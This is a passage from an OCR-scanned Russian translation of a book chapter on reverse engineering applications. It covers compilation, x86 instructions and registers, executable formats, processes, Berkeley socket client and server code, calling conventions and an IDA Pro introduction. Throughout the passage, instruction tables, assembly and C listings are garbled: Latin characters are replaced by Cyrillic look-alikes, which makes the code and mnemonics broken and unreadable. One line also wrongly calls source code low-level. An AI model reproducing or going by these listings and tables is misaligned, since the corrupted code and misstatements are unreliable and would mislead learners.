для работы на альтернативных платформах; однако большинство 
навыков, которые вы изучите, применимы для всех платформ. Чи- 
тая это, помните: для того чтобы стать хорошим специалистом по 
реверс-инжиниринту, нужно время, и я не смогу рассказать обо всем 
в одной главе. 

Прежде чем заняться обратной разработкой, я расскажу, как раз- 
работчики создают исполняемые файлы, а затем предоставлю све- 
дения о вездесущей компьютерной архитектуре х86. Как только вы 
усвоите основы этой архитектуры и то, как она представляет ин- 
струкции, вы будете знать, на что обращать внимание при обратной 
разработке. 

Наконец, я объясню некоторые общие принципы работы опера- 
ционной системы, в том числе как операционная система реализует 
сетевые функции. Вооружившись этими знаниями, вы сможете отсле- 
живать и анализировать сетевые приложения. 

Начнем со справочной информации о том, как выполняются про- 
граммы в современной операционной системе, и изучим принципы 
работы компиляторов и интерпретаторов. 


Компиляторы, интерпретаторы и ассемблеры 


Большинство приложений написаны на языках программирования 
более высокого уровня, таких как С/С++, С# Јауа, или на одном из мно- 
жества языков сценариев. Когда приложение разрабатывается, исход- 
ный код представляет собой низкоуровневый язык. К сожалению, ком- 
пьютеры не понимают исходный код, поэтому язык высокого уровня 
должен быть преобразован в машинный код (собственные инструк- 
ции, которые выполняет процессор компьютера) путем интерпрета- 
ции или компиляиии исходного кода. 

Существуют два распространенных способа разработки и выполне- 
ния программ: интерпретация первоначального исходного кода или 
компиляция программы в собственный код. То, как выполняется про- 
грамма, определяет, как мы будем использовать обратную разработ- 
ку, поэтому давайте рассмотрим эти два метода выполнения, чтобы 
лучше понять, как они работают. 


Интерпретируемые языки 


Интерпретируемые языки, такие как Руоп и ВиБу, иногда называ- 
ют скриптовыми, потому что приложения, написанные на этих язы- 
ках, обычно запускаются из коротких сценариев, написанных в виде 
текстовых файлов. Интерпретируемые языки динамичны и ускоряют 
время разработки. Но интерпретаторы выполняют программы мед- 
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леннее по сравнению с кодом, преобразованным в машинный код, ко- 
торый компьютер понимает непосредственно. Чтобы преобразовать 
исходный код в более понятное представление, язык программирова- 
ния можно скомпилировать. 


Компилируемые языки 


Компилируемые языки используют компилятор для парсинга исход- 
ного кода и генерирования машинного кода, обычно создавая вна- 
чале промежуточный язык. Для генерации нативного кода обычно 
используется язык ассемблера, специфичный для ЦП, на котором бу- 
дет работать приложение (например, 32- или 64-разрядная сборка). 
Язык - это человекочитаемая и понятная форма набора команд базо- 
вого процессора. Далее язык ассемблера преобразуется в машинный 
код. Например, на рис. 6.1 показано, как работает компилятор С. 


Исходный код на языке С Нативный машинный код 
55 
лс иде <ѕдіо.һ> 89 е5 
83 ес 10 
уоій таіп() { Компилятор С С7 04 24 64 50 40 00 
риёѕ( "Не11о\п"); е8 Ве 1Ғ 00 00 
с9 
сЗ 
роѕћ ерр | 
тоу ебр,еѕр 
Исходный код Аан 
ассемблера | "0У [еѕр],ѕіг ———— Ассемблер 
са _риїѕ 
Теауе 


геї 


Рис. 6.1. Процесс компиляции языка С 


Чтобы преобразовать нативный двоичный код в первоначальный 
исходный код, необходимо воссоздать исходный код, используя про- 
цесс, называемый декомпиляцией. К сожалению, декомпилировать 
машинный код довольно сложно, поэтому реверс-инженеры обычно 
используют процесс, называемый дизассемблированием. 


Статическая и динамическая компоновки 


В случае с очень простыми программами процесс компиляции - это, 
возможно, все, что необходимо для создания работающего исполняе- 
мого файла. Но в большинстве приложений большой объем кода им- 
портируется в конечный исполняемый файл из внешних библиотек 
путем компоновки - процесса, где используется компоновщик после 
компиляции. Компоновщик принимает машинный код конкретного 
приложения, сгенерированный компилятором, наряду со всеми необ- 
ходимыми внешними библиотеками, используемыми приложением, 
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и встраивает все это в окончательный исполняемый файл, статиче- 
ски компонуя все внешние библиотеки. Такой процесс статической 
компоновки создает единственный автономный исполняемый файл, 
не зависящий от исходных библиотек. 

Поскольку определенные процессы могут обрабатываться по-раз- 
ному в разных операционных системах, статическая компоновка 
всего кода в один большой двоичный файл может быть не очень хо- 
рошей идеей, так как реализация для конкретной ОС может изме- 
ниться. Например, запись в файл на диске может иметь совершенно 
иные системные вызовы операционной системы в Міпӣомѕ и Ііпих. 
Поэтому компиляторы обычно связывают исполняемый файл с биб- 
лиотеками для конкретной операционной системы, используя ди- 
намическую компоновку: вместо того чтобы встраивать машинный 
код в окончательный исполняемый файл, компилятор хранит толь- 
ко ссылку на динамическую библиотеку и необходимую функцию. 
Операционная система должна разрешать связанные ссылки при 
запуске приложения. 


Архитектура х86 


Прежде чем углубиться в методы обратной разработки, нужно усвоить 
основы архитектуры х86. Для компьютерной архитектуры, которой 
больше 50 лет, х86 на удивление устойчива. Она используется в боль- 
шинстве доступных сегодня настольных и портативных компьюте- 
ров. Хотя ПК был традиционным пристанищем для архитектуры х86, 
она нашла свое применение в компьютерах Мас!, игровых консолях 
и даже смартфонах. 

Архитектура х86 была выпущена Іпѓе] в 1978 г. с ЦП 8086. С го- 
дами ш и другие производители (например, АМО) значительно 
улучшили ее производительность, двигаясь от поддержки 16-битных 
операций к 32-битным, а сейчас 64-битным операциям. Современ- 
ная архитектура не имеет почти ничего общего с оригинальной 8086, 
за исключением процессорных инструкций и идиом программиро- 
вания. Ввиду своей долгой истории архитектура х86 очень сложна. 
Сначала мы посмотрим, как х86 выполняет машинный код, а затем 
изучим ее регистры ЦП и методы, используемые для определения по- 
рядка исполнения. 


Архитектура набора команд 


При обсуждении того, как ЦП выполняет машинный код, обычно гово- 
рят об архитектуре набора команд (ІЅА). 15А определяет, как работает 
машинный код и как он взаимодействует с процессором и остальной 


' АрріІе перешла на архитектуру х86 в 2006 г. До этого Арре использовала 
архитектуру РомегРС. ПК, с другой стороны, всегда базировались на архи- 
тектуре х86. 
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частью компьютера. Практическое знание 15А имеет решающее зна- 
чение для эффективной обратной разработки. 

[ЗА определяет набор инструкций на машинном языке, доступных 
для программы; речь идет о мнемокодах. Мнемокоды называют ка- 
ждую инструкцию и определяют, как представлены ее параметры, 
или операнды. В табл. 6.1 приведена мнемоника некоторых наиболее 
распространенных инструкций х86 (я расскажу о многих из этих ин- 
струкций более подробно в последующих разделах). 


Таблица 6.1. Мнемоника распространенных инструкций х86 


Инструкция 


Описание 


МОУ ае51паЕтоп, ѕоигсе 
АЮр аеѕііпаїіоп, уие 
Ѕ0В ае5тпа оп, уаие 
САШ аааге55 

ЭМР аааге$$ 

ВЕТ 

ВЕТМ $512е 


Јсс аайгеѕ5 


РОЅН уаие 
РОР деѕёіпаїїоп 
СМР уа1иеа, уаїиеБ 


ТЕЅТ ииеа, уаїиеБ 


АМО аеѕїпаїїоп, уаїие 
ОА аеѕіпа?їоп, маше 


ХОК адеѕёїпаїіоп, "ие 
УНЕ деѕёіпаёіоп, № 
ЅНА деѕёїілаїїоп, № 


ІМС ае5 ла Топ 
БЕС деѕіпаїїоп 


Перемещает значение из ѕоигсе в ае51патоп 
Добавляет целочисленное значение в ае5{плаТоп 
Вычитает целочисленное значение из ае$ {ла оп 
Вызывает подпрограмму по указанному адресу 
Безусловный переход на указанный адрес 
Возврат из предыдущей подпрограммы 


Возврат из предыдущей подпрограммы, а затем увеличение 
стека по размеру 


Переход по указанному адресу, если условие, указанное сс, 
истинно 


Помещает значение в текущий стек и уменьшает указатель стека 
Извлечение значения из стека и увеличение указателя стека 


Сравнивает уа{шеа и уаїиер и устанавливает соответствующие 
флаги 


Выполняет побитовую операцию АМО для уаїиеа и уџаїиеа 
и устанавливает соответствующие флаги 


Выполняет побитовую операцию АМО для деѕёїпаёїоп с иаие 


Выполняет побитовое логическое ИЛИ (ОВ) для 4е5 ла топ 
с уаше 


Выполняет побитовое логическое Исключающее ИЛИ 
(Ехсіоѕіуе ОК) для ае5Е1ла оп с уаие 


Сдвигает ае51паЁТоп влево на М бит (при этом слева старшие 
биты) 


Сдвигает 4е51паЁТол вправо на М бит (при этом справа 
младшие биты) 


Увеличение йеѕїіпаїїоп на 1 
Уменьшение феѕЁїлаЁїоп на 1 


Эти инструкции принимают одну из трех форм в зависимости от 
того, сколько операндов принимает инструкция. В табл. 6.2 показаны 
три различные формы операндов. 


Таблица 6.2. Мнемонические формы пе! 


Количество операндов Форма Примеры 

0 МАМЕ РОР, ВЕТ 

т МАМЕ 1приЄ РИЗН 1; САШ Рипс 

Я МАМЕ ооёри, іприё МОУ ЕАХ, ЕВХ; А00 ЕРІ, 1 
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Есть два распространенных способа представления инструкций х86 
в ассемблере - это синтаксис ти АТ&Т. Синтаксис Іпѓе, первона- 
чально разработанный корпорацией ше], – это синтаксис, который 
я использую в данной главе. Синтаксис АТ&Т используется во многих 
инструментах разработки в Опіх-подобных системах. Они различа- 
ются некоторыми способами, например порядком, в котором указы- 
ваются операнды. Например, инструкция по добавлению 1 к значе- 
нию, хранящемуся в регистре ЕАХ в синтаксисе Іпќе, будет выглядеть 
так: А0 ЕАХ, 1, а в синтаксисе АТ &Т так: а991 51, %еах. 


Регистры ЦП 


У ПП есть несколько регистров для очень быстрого временного хра- 
нения текущего состояния выполнения. В архитектуре х86 каждый 
регистр обозначается двух- или трехсимвольной меткой. На рис. 6.2 
показаны основные регистры для 32-разрядного процессора с ар- 
хитектурой х86. Важно понимать множество типов регистров, ко- 
торые поддерживает процессор, потому что каждый из них слу- 
жит разным целям и необходим для понимания того, как работают 
инструкции. 


Регистры общего назначения Индексные регистры 


Рис. 6.2. Основные 32-битные регистры архитектуры х86 


Регистры х86 разделены на четыре основные категории: общего 
назначения, индексные, контрольные и селекторные. 


Регистры общего назначения 


Регистры общего назначения (ЕАХ, ЕВХ, ЕСХ и ЕРХ на рис. 6.2) явля- 
ются временными хранилищами для неспецифических значений вы- 
числений, таких как результаты сложения или вычитания. Регистры 
общего назначения имеют размер 32 бита, хотя инструкции могут 
обращаться к ним в 16- и 8-битных версиях, используя простое со- 
глашение об именах: например, доступ к 16-битной версии регистра 
ЕАХ осуществляется как к АХ, ак 8-битной - каккАНи АГ. На рис. 6.3 
показана организация реестра ЕАХ. 
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ЕАХ (52 бита) 


ч 


Рис. 6.3. Регистр общего назначения 
| ЕАХ с небольшими регистровыми 


АХ (16 бит) компонентами 


Индексные регистры 


Индексные регистры (ЕІ, ЕРІ, ЕЗР, ЕВР, ЕІР) в основном являются ре- 
гистрами общего назначения, за исключением ЕЅР и ЕІР. Регистр ЕЅР 
используется командами РОЅН и РОР, а также во время вызовов под- 
программ для указания текущего адреса памяти в базе стека. 

Хотя можно использовать регистр ЕЅР для других целей, помимо 
индексации в стеке, обычно это неразумно, поскольку может вызвать 
нарушение целостности памяти или непредвиденное поведение. 
Причина этого состоит в том, что некоторые инструкции неявно по- 
лагаются на значение регистра. С другой стороны, к ЕІР нельзя полу- 
чить доступ напрямую как к регистру общего назначения, потому что 
он указывает следующий адрес в памяти, из которого будет считы- 
ваться инструкция. 

Единственный способ изменить значение регистра ЕІР - использо- 
вать инструкцию управления, такую как САІШ, ЈМР или ВЕТ. В этом об- 
суждении важным контрольным регистром является ЕЕГАС$. ЕЕГАС5 
содержит множество логических флагов, которые указывают резуль- 
таты выполнения инструкции, например привела ли последняя опе- 
рация к значению 0. Эти логические флаги реализуют условные пере- 
ходы процессора с архитектурой х86. Например, если вы вычтите два 
значения и результат будет равен 0, для флага нуля в регистре ЕЕГАС$ 
будет установлено значение 1, а для флагов, которые не применяются, 
будет установлено значение 0. 

Регистр ЕЕГАС$ также содержит важные системные флаги, напри- 
мер разрешены ли прерывания. Не все инструкции влияют на зна- 
чение ЕРГАС$. В табл. 6.5 перечислены наиболее важные значения 
флагов, включая битовую позицию флага, его обычное имя и краткое 
описание. 


Таблица 6.3. Важные флаги состояния ЕҒІАС5 


Бит Имя Описание 
0 Флаг переноса Указывает, был ли сгенерирован бит переноса из последней 
операции 
2 Флаг четности Четность младшего байта последней операции 
Флаг нуля Указывает, имеет ли результат последней операции ноль. 
Используется в операциях сравнения 
7 Флаг знака Указывает на знак последней операции. 


Фактически, старший бит результата 


141 Флаг переполнения Указывает, произошло ли переполнение в последней 
операции 
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Селекторные регистры 


Селекторные регистры (С$, 0$, ЕЅ, ЕЅ, (5, 55) адресуют ячейки памяти, 
указывая конкретный блок памяти, в который можно выполнять чте- 
ние или запись. Реальный адрес памяти, используемый при чтении 
или записи значения, ищется во внутренней таблице ЦП. 


Селекторные регистры обычно используются только 
в операциях для конкретной операционной системы. Например, в Иїп- 
4ом$ регистр Е используется для доступа к памяти, выделенной для 
хранения управляющей информации текущего потока. 


Доступ к памяти осуществляется с использованием обратного по- 
рядка байтов. Вспомните из главы 3, что такой порядок байтов озна- 
чает, что младший байт хранится по наименьшему адресу памяти. 

Еще одна важная особенность архитектуры х86 заключается в том, 
что она не требует, чтобы операции с памятью были выровнены. Все 
операции чтения и записи в основную память в архитектуре процес- 
сора с выравниванием должны быть выровнены в соответствии с раз- 
мером операции. Например, если вы хотите прочитать 52-битное 
значение, то вам придется читать из адреса памяти, кратного 4. В ар- 
хитектурах с выравниванием, таких как 5РАБС, чтение невыровнен- 
ного адреса вызовет ошибку. И наоборот, архитектура х86 позволяет 
читать из любого адреса памяти или вести туда запись независимо от 
выравнивания. 

В отличие от таких архитектур, как АКМ, в которых используются 
специализированные инструкции для загрузки и сохранения значе- 
ний между регистрами ПП и основной памятью, многие инструкции 
х86 могут принимать адреса памяти в качестве операндов. Факти- 
чески архитектура х86 поддерживает сложный формат адресации 
памяти для своих инструкций: каждая ссылка на адрес памяти мо- 
жет содержать базовый регистр, индексный регистр, множитель для 
индекса (от 1 до 8) или 32-битное смещение. Например, следующая 
инструкция МОУ объединяет все четыре опции, чтобы определить, 
какой адрес памяти содержит значение, которое нужно скопировать 
в регистр ЕАХ: 


МОМ ЕАХ, [ЕЗТ + ЕРІ * 8 + 09х50] ; Чтение 32-битного значения из адреса памяти 


Когда такая сложная адресная ссылка используется в инструкции, 
ее обычно заключают в квадратные скобки. 


Порядок выполнения 


Порядок выполнения - это способ, с помощью которого программа 
определяет, какие инструкции выполнить. В архитектуре х86 естьтри 
основных типа инструкций порядка выполнения: вызов подпрограм- 
мы, условные и безусловные переходы. Вызов подпрограммы перена- 
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правляет порядок выполнения к подпрограмме - определенной после- 
довательности инструкций. Это достигается с помощью инструкции 
САШ, которая изменяет регистр ЕІР на местоположение подпрограм- 
мы. Эта инструкция помещает адрес памяти следующей инструкции 
в текущий стек, который сообщает порядку выполнения, куда нужно 
вернуться, после того как он выполнит задачу подпрограммы. Воз- 
врат осуществляется с помощью инструкции ВЕТ, которая изменяет 
регистр ЕТР на верхний адрес в стеке (помещенный туда инструкцией 
САГ). 

Условные переходы позволяют коду принимать решения на основе 
предыдущих операций. Например, инструкция СМР сравнивает значе- 
ния двух операндов (возможно, двух регистров) и вычисляет соответ- 
ствующие значения для регистра ЕЕГАС$. Под капотом она вычитает 
одно значение из другого, устанавливая соответствующий регистр 
ЕЕГАС$, и затем отбрасывает результат. Инструкция ТЕЅТ делает то 
же самое, за исключением того, что вместо вычитания выполняется 
операция АМР. 

После вычисления значения ЕРГАС5 можно выполнить условный 
переход; адрес, на который выполняется переход, зависит от состоя- 
ния ЕРГАС5. Например, инструкция 97 будет выполнять условный 
переход, если установлен флаг нуля (это произойдет, если, напри- 
мер, инструкция СМР сравнивает два равных значения); в противном 
случае инструкция является бездействующей. Имейте в виду, что ре- 
гистр ЕЕГАС$ также можно настроить с помощью арифметических 
и других инструкций. Например, инструкция $НЕЁ сдвигает значение 
места назначения на определенное количество битов от низкого 
к высокому. 

Безусловный переход реализуется с помощью инструкции ЭМР, ко- 
торая просто безоговорочно переходит к адресу назначения. Это все, 
что можно сказать о безусловном переходе. 


Основы операционной системы 


Понимание архитектуры компьютера важно как для статического, 
так и для динамического анализа. Без этих знаний трудно понять, что 
делает последовательность инструкций. Но архитектура - это только 
часть дела: без операционной системы, управляющей оборудованием 
и процессами компьютера, инструкции были бы не очень полезны. 
Здесь я объясню основы работы операционной системы, которые по- 
могут вам понять процессы обратной разработки. 


Форматы исполняемых файлов 


Форматы исполняемых файлов определяют, как эти файлы хранятся 
на диске. Операционные системы должны указывать исполняемые 
файлы, которые они поддерживают, чтобы они могли загружать и за- 
пускать программы. В отличие от более ранних операционных си- 
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стем, таких как М$-О2О$5, у которых не было ограничений на то, какие 
форматы файлов будут выполняться (при запуске файлы, содержащие 
инструкции, загружались прямо в память), современные операцион- 
ные системы предъявляют гораздо больше требований относительно 
более сложных форматов. 

Некоторые требования современного исполняемого формата 
включают в себя: 


• выделение памяти для исполняемых инструкций и данных; 
е поддержку динамической компоновки внешних библиотек; 


• поддержку криптографических подписей для проверки источ- 
ника исполняемого файла; 


е сопровождение отладочной информации для связывания испол- 
няемого кода с первоначальным исходным кодом для отладки; 


• ссылку на адрес в исполняемом файле, где начинается выполне- 
ние кода, обычно называемое начальным адресом (необходимо, 
потому что начальный адрес программы может быть не первой 
инструкцией в исполняемом файле). 


Үіпаоуѕ использует формат РогіаБе ЕхесиѓаЫе (РЕ) для всех ис- 
полняемых файлов и динамических библиотек. Исполняемые файлы 
обычно используют расширение .ехе, а динамические библиотеки - 
расширение .аП. На самом деле Міпӣомѕ не требуются эти расшире- 
ния для правильной работы нового процесса; они используются толь- 
ко для удобства. 

Большинство (піх-подобных систем, включая Шпих и 50]а11$, при- 
меняют формат Ехесикае икше Еогтаї (ЕГР) в качестве основного 
формата исполняемых файлов. Главное исключение - это тасО$, где 
используется формат Масһ-О. 


Сегменты 


Сегменты памяти - вероятно, самая важная информация, хранящаяся 
в исполняемом файле. Все нетривиальные исполняемые файлы будут 
иметь как минимум три сегмента: сегмент кода, который содержит 
машинный код исполняемого файла; сегмент данных, содержащий 
инициализированные данные, которые можно читать и записывать 
во время исполнения; и специальный сегмент для хранения неи- 
нициализированных данных. У каждого сегмента есть имя, которое 
идентифицирует содержащиеся в нем данные. Сегмент кода обычно 
называется {ехЕ, сегмент данных - ааа, а сегмент неинициализиро- 
ванных данных ~ 655. 

Каждый сегмент содержит четыре основных элемента информации: 


• текстовое имя; 


• размер и расположение данных для сегмента, содержащегося 
в исполняемом файле; 


• размер и адрес в памяти, куда должны быть загружены данные; 


Обратная разработка приложения 149 


е флаги защиты памяти, которые указывают, может ли сегмент 
быть записан или выполнен при загрузке в память. 


Процессы и потоки 


Операционная система должна иметь возможность запускать несколь- 
ко экземпляров исполняемого файла, без их конфликта. Для этого опе- 
рационные системы определяют процесс, который действует как кон- 
тейнер для экземпляра выполняемого исполняемого файла. Процесс 
хранит всю собственную память, необходимую для работы экземпляра, 
изолируя ее от других экземпляров такого же исполняемого файла, 
а также является границей безопасности, потому что он выполняется 
от лица определенного пользователя операционной системы, и реше- 
ния по безопасности могут приниматься на основе этой личности. 

Операционные системы также определяют поток выполнения, что 
позволяет операционной системе быстро переключаться между не- 
сколькими процессами, создавая впечатление, что все они выполня- 
ются одновременно. Это называется многозадачностью. Для переклю- 
чения между процессами операционная система должна прервать 
работу ЦП, сохранить текущее состояние процесса и восстановить 
состояние альтернативного процесса. Когда ЦП возобновляет работу, 
он запускает другой процесс. 

Поток определяет текущее состояние выполнения. У него есть соб- 
ственный блок памяти для стека и место для хранения его состояния, 
когда операционная система останавливает поток. Обычно у процесса 
имеется, по крайней мере, один поток, и ограничение на количество 
потоков в процессе обычно контролируется ресурсами компьютера. 

Чтобы создать новый процесс из исполняемого файла, операци- 
онная система сначала создает пустой процесс со своей выделен- 
ной областью памяти. Затем загружает основной исполняемый файл 
в пространство памяти процесса, выделяя память на основе таблицы 
разделов исполняемого файла. После этого создается новый поток, 
который называется основным. 

Программа динамической компоновки отвечает за компоновку 
в системных библиотеках основного исполняемого файла перед воз- 
вратом к исходному начальному адресу. Когда операционная система 
запускает основной поток, создание процесса на этом завершается. 


Сетевой интерфейс операционной системы 


Операционная система должна управлять сетевым оборудованием 
компьютера, чтобы оно могло использоваться всеми запущенными 
приложениями. Аппаратное обеспечение очень мало знает о прото- 
колах более высокого уровня, таких как ТСРЛР!, поэтому операцион- 
ная система должна обеспечивать реализацию этих протоколов. 


1 Это не совсем верно: многие сетевые карты могут выполнять обработку 
в аппаратном обеспечении. 
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Операционная система также должна предоставлять возможность 
приложениям взаимодействовать с сетью. Наиболее распространен- 
ным сетевым АРІ является модель сокетов Беркли, первоначально 
разработанная в Калифорнийском университете в Беркли в 1970-х гг. 
для ВЅр. Все Опіх-подобные системы имеют встроенную поддержку 
сокетов Беркли. В Міпӣомѕ очень похожий программный интерфейс 
предоставляет библиотека ИЙи$оск. Модель сокетов Вегк@еу настоль- 
ко распространена, что вы почти наверняка встретите ее на самых 
разных платформах. 


Создание простого клиентского ТСР-соединения с сервером 


Чтобы лучше понять, как работает АРІ сокетов, в листинге 6.1 пока- 
зано, как создать простое клиентское ТСР-соединение с удаленным 
сервером. 


Листинг 6.1. Простой сетевой клиент ТСР 


іпЕ роге = 12345; 
сопѕЁ сһаг* ір = "1.2.3.4"; 
ѕоскайаг іп айг = {0}; 


іп $ = ѕоскеЁ(АЕ ІМЕТ, 50СК ЅТВЕАМ, 0); 


айаг.ѕіп Ғаті1у = РЕ_ТМЕТ; 
айаг.ѕіп роге = һЁопѕ(рогї); 
іпеё рёоп(АЕ_ІМЕТ, 1р, &айдг.ѕіп_аййг); 
1#(соппес (5, (ѕоскадйг*) &айіг, ѕіғеоЁ(аййг)) == 0) 
{ 
сһаг Би#[1024]; 
Ө іпї 1еп = гесу(5, БиЁ, <Ахео (Биг), 0); 


© ѕеп(5, БиҒ, Леп, 0); 
} 


с1оѕе(5); 


Первый АРІ-вызов Ө создает новый сокет. Параметр АЕ _ТМЕТ указы- 
вает на то, что мы хотим использовать протокол ІРү4. (Чтобы исполь- 
зовать ГРуб, нужно написать АЕ _ТМЕТб.) Второй параметр $0СК_5ТВЕАМ 
указывает, что мы хотим использовать потоковое соединение, что для 
интернета означает ТСР. Чтобы создать ОПР-сокет, мы должны напи- 
сать 50СК_ОСКАМ (сокет дейтаграммы). 

Затем мы создаем адрес назначения с помощью аййг, экземпляра 
определяемой системой структуры ѕоскаййг_іп. Мы настраиваем адрес- 
ную структуру, используя тип протокола, порт ТСР и ТСР ІР-адрес. Вы- 
зов іпеі_ріоп Ө преобразует строковое представление ГР-адреса в ір 
в 32-битное целое число. 

Обратите внимание, что при настройке порта функция ћёопѕ ис- 
пользуется для преобразования значения из порядка байтов, исполь- 
зующегося на машине (һоѕі-Буѓе-огӣег) (для архитектуры х86 это об- 
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ратный порядок байтов) в сетевой порядок байтов (прямой порядок 
байтов). Это также относится и к ІР-адресу. В данном случае ІР-адрес 
1.2.3.4 станет целым числом 0х01020304, если сохранить его в формате 
с прямым порядком байтов. 

Последний этап - это вызов для подключения к адресу назначения 
Ө. Это основная точка отказа, потому что на этом этапе операционная 
система должна сделать исходящий вызов на адрес назначения, что- 
бы узнать, выполняется ли прослушивание. Когда новое соединение 
будет установлено, программа сможет читать и записывать данные 
в сокет, как если бы это был файл с помощью системных вызовов гесу 
Ө и ѕепа Ө. (В Опіх-подобных системах также можно использовать 
универсальные вызовы геай и мгіќѓе, но не в Міпаомѕ.) 


Создание клиентского подключения к ТСР-серверу 


В листинге 6.2 показан фрагмент другой стороны сетевого соедине- 
ния, очень простой сервер сокетов ТСР. 


Листинг 6.2. Простой сервер сокетов ТСР 


ѕоскайаг іп Біпа аййг = {0}; 
іп $ = ѕоскеЁ(АЕ ІМЕТ, 50СК ЅТВЕАМ, 0); 


Біпа аааг.ѕіп Ғаті1у = АЕ ІМЕТ; 
Біпа_адаг.ѕіп_рогё = ћЕопѕ(12345); 
Ө іпеї _ріоп("0.0.0.0", &Біпа аддг.ѕіп_аййг); 


Біпа(ѕ, (ѕоскадаг*)&Біпа аддг, ѕіғео#(Біпа айдг)); 
115+еп(ѕ, 10); 
ѕоскайдг іп с1іепі_аддг; 
іп ѕосКѕі7е = 51геоЁ(с1іепі_аййг); 
Ө ілі пемѕоск = ассері(5, (ѕоскайіг*)&с1іепё айг, &ѕ0сКѕіге); 


“У 


// Выполняем действия с новым сокетом 


Первым важным шагом при подключении к серверу сокетов ТСР 
является привязка сокета к адресу в локальном сетевом интерфейсе, 
как показано на этапах ® и Ө. По сути, это противоположный вариант 
того, что мы видели в листинге 6.1, потому что іпеЁ рёоп() ® просто 
преобразует строковый ІР-адрес в его двоичную форму. Сокет привя- 
зан ко всем сетевым адресам, которые обозначены как «0.0.0.0», хотя 
это может быть и конкретный адрес на порту 12345. 

Затем сокет привязывается к этому локальному адресу Ө. Привя- 
зывая его ко всем интерфейсам, мы гарантируем, что сокет сервера 
будет доступен извне текущей системы, например через интернет, 
при условии что на пути нет брандмауэра. 

Наконец, мы просим сетевой интерфейс слушать новые входящие 
соединения Ө и вызовы ассерї Ө, которые возвращает следующее но- 
вое соединение. 
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Как и в случае с клиентом, этот новый сокет можно читать и вести 
туда запись с помощью вызовов гесу и ѕепа. 

Когда вы сталкиваетесь с приложениями, использующими сетевой 
интерфейс операционной системы, вам нужно будет отслеживать все 
эти вызовы функций в исполняемом коде. Ваши знания о том, как 
пишутся программы на уровне языка программирования С, окажутся 
ценными, когда вы посмотрите на обратный код в дизассемблере. 


Двоичный интерфейс приложений 


Двоичный интерфейс приложений (АВІ) - это интерфейс, определяе- 
мый операционной системой для описания соглашений о том, как 
приложение вызывает функцию АРТ. Большинство языков програм- 
мирования и операционных систем передают параметры слева на- 
право. Это означает, что крайний левый параметр в первоначальном 
исходном коде помещается по наименьшему адресу стека. Если па- 
раметры создаются путем помещения их в стек, последний параметр 
помещается первым. 

Еще одно важное соображение -как возвращаемое значение предо- 
ставляется вызывающему коду функции после завершения вызова 
АРІ. В архитектуре х86, если значение меньше или равно 32 битам, 
оно передается обратно в регистр ЕАХ. Если значение находится меж- 
ду 32 и 64 битами, оно передается обратно в комбинации ЕАХ и ЕРх. 

И ЕАХ, и ЕОХ считаются рабочими (черновыми) регистрами в АВІ. 
Это означает, что их регистровые значения не сохраняются при вы- 
зовах функций: другими словами, при вызове функции вызывающий 
код не может полагаться на то, что какое-либо значение, хранящееся 
в этих регистрах, все еще будет существовать, когда вызов вернется. 
Такая модель обозначения регистров сделана из прагматических со- 
ображений: она позволяет функциям тратить меньше времени и па- 
мяти, сохраняя регистры, которые в любом случае нельзя изменить. 
Фактически АВГуказываетточный список регистров, которые вызыва- 
емая функция должна сохранить в определенное место в стеке. 

Таблица 6.4 содержит краткое описание цели типичного назначе- 
ния регистров. В ней также указано, нужно ли сохранять регистр при 
вызове функции для восстановления регистра до исходного значения 
перед возвратом функции. 


Таблица 6.4. Список сохраненных регистров 


Регистр Использование АВ! Сохраняется? 
ЕАХ Используется для передачи возвращаемого значения функции Нет 

ЕВХ Регистр общего назначения Да 

ЕСХ Используется для локальных циклов и счетчиков, а иногда Нет 

и для передачи указателей на объекты в таких языках, как С++ 

ЕОХ Используется для расширенных возвращаемых значений Нет 

ЕРІ Регистр общего назначения Да 

ЕЅІ Регистр общего назначения Да 

ЕВР Указатель на базу текущего допустимого кадра стека Да 

ЕЅР Указатель на базу стека Да 
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На рис. 6.4 показана функция айй(), вызываемая в коде ассемблера 
для функции ргіпї_айй(): она помещает параметры в стек (РУЗН 10), 
вызывает функцию айй() (САШ адд), а затем выполняет очистку (А00 
ЕЗР, 8). Результат сложения передается из а49() через регистр ЕАХ, 
который затем выводится в консоль. 


уоіа ргіпё_ааа() { іп а99(1пЕ а, іпё Б) { 
ргіпЕғ("%\п", ада(1, 10)); геёџгп а + Б; 
} } 


РИН ЕВР МОМ ЕАХ, [Е5Р+4] ; ЕАХ = а 
МОМ ЕВР, ЕЅР А00 ЕАХ, [Е5Р+8] ; ЕАХ = а + 


РУЗН 10 ; Помещаем параметры в стек 
РУЗН 1 

САЦ. ааа 

АБО ЕР, 8 ; Удаляем параметры 


РУЗН ЕАХ 

РИЗН ОҒЕЅЕТ "%а\п" 
САБ: ргіпЕЁ 

АБ ЕР, 8 


РОР ЕВР 
ВЕТ 


Рис. 6.4. Вызов функции в ассемблерном коде 


Статический обратный инжиниринг 


Теперь, когда у вас есть базовое представление о том, как выполня- 
ются программы, мы рассмотрим методы обратной разработки. Ста- 
тический обратный инжиниринг - это процесс разбора исполняемого 
файла приложения для определения того, что он делает. В идеале мы 
могли бы повернуть вспять процесс компиляции, чтобы вернуться 
к первоначальному исходному коду, но обычно это слишком сложно. 
Вместо этого исполняемый файл чаще всего дизассемблируется. 

Вместо того чтобы атаковать двоичный файл с помощью одного 
лишь шестнадцатеричного редактора и справочника по машинно- 
му коду, можно использовать инструменты для дизассемблирования 
двоичных файлов. Один из таких инструментов - это оБ}дитр на базе 
Ппих, который просто выводит результат на консоль или в файл. За- 
тем вам решать, как перемещаться по дизассемблированному коду, 
используя текстовый редактор. Однако ођјіаитр не очень дружелюбен 
для пользователя. 

К счастью, существуют интерактивные дизассемблеры, представля- 
ющие дизассемблированный код в форме, которую вы можете легко 
просматривать и перемещаться. Безусловно, наиболее полнофунк- 
циональным из них является ІРА Рто, разработанный компанией Нех 
Вауз. ГРА Рго - это идеальный инструмент для статического анализа, 
который поддерживает многие распространенные форматы исполня- 
емых файлов, а также практически все архитектуры ЦП. Полная вер- 
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сия стоит дорого, но доступна и бесплатная версия. Хотя бесплатная 
версия дизассемблирует только код архитектуры х86 и ее нельзя ис- 
пользовать в коммерческом окружении, она идеально подходит для 
работы с дизассемблером. Бесплатную версию ІРА Рго можно скачать 
с сайта Нех Кауз на странице ИЁр5/Имили.Вех-гауз.соту. Эта версия пред- 
назначена только для УМЛп9о\мз, но она должна хорошо работать под 
МЛпе в Шіпих или тасО5. Давайте кратко рассмотрим, как использо- 
вать ГРА Рго для разбора простого сетевого двоичного файла. 


Краткое руководство по использованию ГРА Рго Егее 
Еаїііоп 


После установки запустите ІРА Рго, а затем выберите целевой испол- 
няемый файл, нажав ЕПе > Ореп (Файл > Открыть). Должно появить- 
